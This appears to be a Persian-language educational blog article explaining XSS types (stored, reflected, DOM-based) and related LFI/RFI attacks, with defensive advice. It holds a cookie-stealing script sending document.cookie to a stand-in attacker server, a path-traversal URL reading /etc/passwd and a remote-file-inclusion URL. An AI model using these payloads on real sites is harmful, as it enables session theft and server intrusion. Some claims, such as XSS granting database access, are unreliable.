XSS چیست ؟


Cross-site scripting یا XSS نوعی آسیب پذیری امنیتی است که بیشتر در Web Application ها مشاهده می گردد. این آسیب پذیری به هکر اجازه می دهد که اسکریپت های Client-Side را در صفحات وبی که توسط سایرین قابل بازدید است اجرا نماید. XSS می تواند اجازه ورود به صفحه ای که نیاز به نام کاربری و کلمه عبور دارد را بدون استفاده از این اطلاعات به هکر بدهد. همچنین ممکن است در مواردی باعث دسترسی هکر به مشخصات ورود سایر کاربران به این صفحات گردد. با توجه به اینکه XSS دسترسی به دیتابیس را برای هکر فراهم می آورد، به راحتی می توان پیشبینی کرد که داشتن این آسیب پذیری روی سایت، می تواند باعث Defaceشدن سایت و یا تغییر اطلاعات و مطالب و نوشته ها و یا هر چیز دیگری که در دیتابیس ثبت گردد شود.

موارد سوء استفاده

استفاده از کوکی
با استفاده از آسیب پذیری XSS به راحتی امکان دزدیده شدن کوکی ها وجود دارد و در صورت در اختیار داشتن کوکی، امکان انجام مواردی که مالک آن کوکی مجاز به انجام آن می باشد، برای شخص هکر مقدور می شود. لازم به ذکر است جلوگیری از انجام این مورد توسط این آسیب پذیری، با شیوه درست برنامه نویسی انجام می شود.

انجام حملات Ddos
با توجه به اینکه در قسمت قبل دزدیده شدن کوکی را ذکر کردیم، روش هایی نیز جهت رد و بدل اطلاعات توسط هویت کاربر به سایت، توسط شخص هکر وجود دارد که در نهایت می توان منجر به انجام حملاتی نظیر Ddos گردد. لازم به ذکر است با توجه به اینکه در انجام این حملات، هکر پشت کامپیوتر کاربر مخفی شده است، متاسفانه امکان ردگیری کاربر وجود نداشته و یا بسیار سخت و زمان بر می باشد.

مدیریت محتوا
یکی از موارد خطرناکی که این آسیب پذیری در اختیار هکر قرار می دهد، دسترسی کلیه اطلاعات بانک اطلاعاتی و محتوای html صفحه می باشد. همان طور که اطلاع دارید، محتوای سایت ها، از جمله مقالات، نوشته ها، فرم ها، … در CMS هایی نظیر جولا، وردپرس، دروپال، و سایر سیستم های مدیریت محتوای موجود در بانک اطلاعاتی ذخیره می گردد. همچنین کلیه مشخصات کاربران (آدرس ایمیل، رمز عبور، …) در این بخش (به صورت hash شده) ذخیره می گردد. لذا دسترسی به بانک اطلاعاتی تقریبا دسترسی به تمام بخش ها سایت است. همچنین این دسترسی می توان منجر به ساخت فرم های جعلی، تغییر مقصد این فرم ها و … شود که در نهایت منجر به دزدیده شدن اطلاعاتی نظیر مشخصاتی که جهت خرید با کارت بانکی خود از آن استفاده می نمایید می گردد. لازم به ذکر است جلوگیری از انجام این حملات، با برنامه نویسی صحیح و درست مقدور بوده و معمولا با به روز رسانی مداوم CMS های خود با این مورد مواجه نخواهید شد.

انواع XSS

XSS دارای 3 نوع اصلی می باشد که به تشریح آنها می پردازیم.

1) Persistent/Stored XSS یا Type1 که در این روش، کدهای مخرب (معمولا در تگ <script> </script> قرار دارند.) در دیتابیس ذخیره شده و از آنجا اقدام به ارسال اطلاعات حساس می نمایند.

persistent-xss

تصویر بالا را مشاهده نمائید. در مرحله نخست هکر کامنتی به صورت زیر در سایت ارسال می کند.

<script>
  window.location='http://attacker-server/?cookie='+document.cookie
</script> 

کامنت در بانک اطلاعاتی ذخیره شده و هر زمان که کاربری اقدام به مشاهده آن نماید. کوکی مورد استفاده جهت لاگین به سایت در مرورگرش از طریق این اسکریپت به سرور هکر ارسال می گردد.

این آسیب پذیری مربوط به سرور بوده و با استفاده از Rule های امنیتی WAF قابل پیشگیری است.

2) Reflected/Non Persistent XSS یا Type2 که در این روش، کدهای مخرب (معمولا در تگ <script> </script> قرار دارند.) از طریق Request های شخص قربانی اقدام به ارسال اطلاعات حساس می نمایند.

reflected-xss

در این روش، هکر یک URL که حاوی کد مخرب است به قربانی ارسال نموده و قربانی URL را باز می کند و با فراخوانی URL کد مخربی که در URL وجود داشته است اجرا شده و کوکی مرورگر قربانی را برای هکر ارسال می کند.

این آسیب پذیری مربوط به سرور بوده و با استفاده از Rule های امنیتی WAF قابل پیشگیری است.

3) DOM-based XSS یا Type0 که در این روش، آسیب پذیری Client Side بوده و ارتباطی با سرور ندارد. همچنین آسیب پذیری از طریق Document Object Model یا به اختصار DOM صورت می پذیرد.

صفحه ذیل را با کدهایش در نظر بگیرید.

http://www.example.com/userdashboard.htmlCustom Dashboard 
...

Main Dashboard for

...

وقتی URL به صورت

http://www.example.com/userdashboard.html?context=ali

صفحه اطلاعاتی مربوط به جزئیات پروفایل ali را نمایش می دهد. حال هکر URL خود را که حاوی کد مخرب است، به صورت زیر به قربانی ارسال نموده و قربانی URL را باز می کند. توجه داشته باشید مورد مخربی در این URL توسط اسکریپت قابل تشخیص نبوده و به صورت کاملا قانونی از سمت سرور اجرا می گردد.

http://www.example.com/userdashboard.html?context=%MINIFYHTML4d2eb7224b8a1d1c309cb26f4254413e3%

در نتیجه صفحه متن ذیل را نمایش می دهد.

Main Dashboard for%MINIFYHTML4d2eb7224b8a1d1c309cb26f4254413e4%

لذا در صورتی که از اسکریپت مثال های قبل استفاده گردد، کوکی قربانی برای هکر ارسال می گردد. مراحل ذکر شده در تصویر زیر قابل مشاهده می باشد.

dom-based-xss

کدنویسی صحیح و بهینه سازی شده و استفاده از Signature های امنیتی در WAF های نرم افزاری/سخت افزاری می تواند از بروز این حمله جلوگیری نمائید.

نکته پایانی: با توجه به اضافه شدن روز افزون Signature های Attack، بررسی مداوم حملات و بهینه سازی کد، از جمله اقداماتی است که می بایست توسط برنامه نویس سایت در راستای حفظ امنیت و حریم شخصی کاربران صورت پذیرد. در ارتباط با CMS هایی نظیر وردپرس، جوملا، دروپال و …، این مورد توسط برنامه نویسان این سیستم های مدیریت محتوا بررسی شده و هر چند وقت یکبار در قالب Update به کاربران ارائه می گردد. همچنین جهت افزایش امنیت، می توان از افزونه هایی که بدین منظور وجود دارند استفاده کرد.


حملات XSS بسیار گسترده بوده و از طریق روش های متعددی قابل انجام می باشد. لذا تنها به توضیح چند مورد از آنها خواهیم پرداخت.

1) Local File Inclusion یا به اختصار LFI به پروسه Include نمودن فایل در سرور توسط مرورگر وب گفته می شود. این آسیب پذیری زمانی جدی می شود که فایل هایی که Include می گردند، به خوبی بررسی نشوند. به طور مثال اگر متغیری مانند filename$ در url به صورت Include دریافت گردد، این امکان وجود دارد که به وسیله این آسیب پذیری، به جای filename$ عبارت ذیل وارد شود.

../../../../etc/passwd

با توجه به موارد ذکر شده درخواست اصلی به صورت

http://example.com/index.php?file=contactus.php

بوده که می توان با استفاده از آدرس

http://example.com/index.php?file=../../../../etc/passwd

از آن سوء استفاده کرد و به فایل passwd دسترسی یافت.

معمولا با غیر فعال نمودن Directory Browsing از روش نفوذ ذکر شده در بالا جلوگیری می گردد. ولی در صورت نیاز به فعال بودن Directory browsing، می بایست از سایر روش های امنیتی استفاده نمود.

 

2) Remote File Inclusion یا به اختصار RFI به هکرها اجازه می دهد تا به وسیله یک اسکریپت، اقدام به آپلود کد و فایلهای آلوده روی سرور کنند. این مورد در صورت وجود آسیب پذیری در سرور و یا وب سایت، به وسیله تزریق کد یا همان XSS انجام می گردد. در صورت وجود این آسیب پذیری، می تواند منجر به ارائه دسترسی Deface سایت، دسترسی اجرای دستورات و در نتیجه دسترسی shell گردد.

به طور مثال دستور زیر می تواند یک کد را از طریق URL در سرور اجرا نماید.

http://example.something/index.php?page=http://url/file.txt

توجه داشته باشید که کد مخرب در فایل متنی نوشته می شود. این مورد معمولا با غیر فعال نمودن توابع خطرناک php نظیر system و exec و … قابل پیشگیری است. ولی جهت امنیت بالاتر، می بایست از Signature های تشخیص حملات RFI در WAF های نرم افزاری/سخت افزاری استفاده نمود.

 

منابع:

لینک اول: http://excess-xss.com
لینک دوم: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
لینک سوم: http://www.acunetix.com/websitesecurity/cross-site-scripting

میلاد خوشدل

در حوزه‌ی امنیت وب و شبکه فعالیت می کند، عاشق پارکور است و مدیریت دیتاسنتر، امن سازی شبکه های مخابراتی و کابلی و برنامه نویسی وب و موبایل از تجارب کاری او می باشد. او در حال حاضر بنیانگذار ریجاکس است.

نظر خود را بنویسید

نشانی ایمیل شما منتشر نخواهد شد.

دو × پنج =


تگ های html مجاز به استفاده می باشند: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

ارسال یک پیام